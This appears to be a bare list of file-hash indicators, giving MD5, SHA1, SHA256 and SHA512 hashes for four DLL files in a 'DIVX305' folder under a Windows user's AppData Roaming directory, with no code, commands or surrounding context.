C:\Users\Admin\AppData\Roaming\DIVX305\MSVCR100.dll

MD5 482ad6e3fb5c2406e6741bce37567694
SHA1 f0174a44f97df0c2557806cd021ea493bb018d43
SHA256 ed94fb4c194aa86a2b5f2324066bd5e67bc8cc80ceff478d201c095008b0db92
SHA512 8d61457a9a519d57ef30739a499c546c99097b1f1f650f8268904be0ea976fbad835c49d4b435385bfe621b0d7930d060332a652083c0924a2d4a00b2043fb77

C:\Users\Admin\AppData\Roaming\DIVX305\PCICHEK.DLL

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

C:\Users\Admin\AppData\Roaming\DIVX305\PCICL32.DLL

MD5 84dbd0d8bba5e67457cf452244680240
SHA1 63537ac8ad7990073240ef70286234981f4ca5de
SHA256 1a2ca2418fcbf806e7d6fb633f26b25da7cf78282aa6dca47509f5c5f3291b21
SHA512 87022336432d4bff68cfaa5c8c26e3c9c650c54de758a1524fd7e07cc8a3ee11947d3678d02455f1c5a2313304e7c51e1a2464ae402e04f7cf7ab9723289bd97

C:\Users\Admin\AppData\Roaming\DIVX305\PCICL32.dll

MD5 01dd9d9365139f35504056e66c043350
SHA1 18478d2921569de321f7c91adecd704f193a76ee
SHA256 5a68ccee63eacfd5ecaafdc23a2344fd17766dd016ef21aa118c10fa7f6129b2
SHA512 1654eb2207c85160c55913a7f87a22bf0f64984ea41209715d3e74dfc81439e05737a944090d307ee8c50d7b60c5aa963be7020ada2e9f403210064f30ea18ce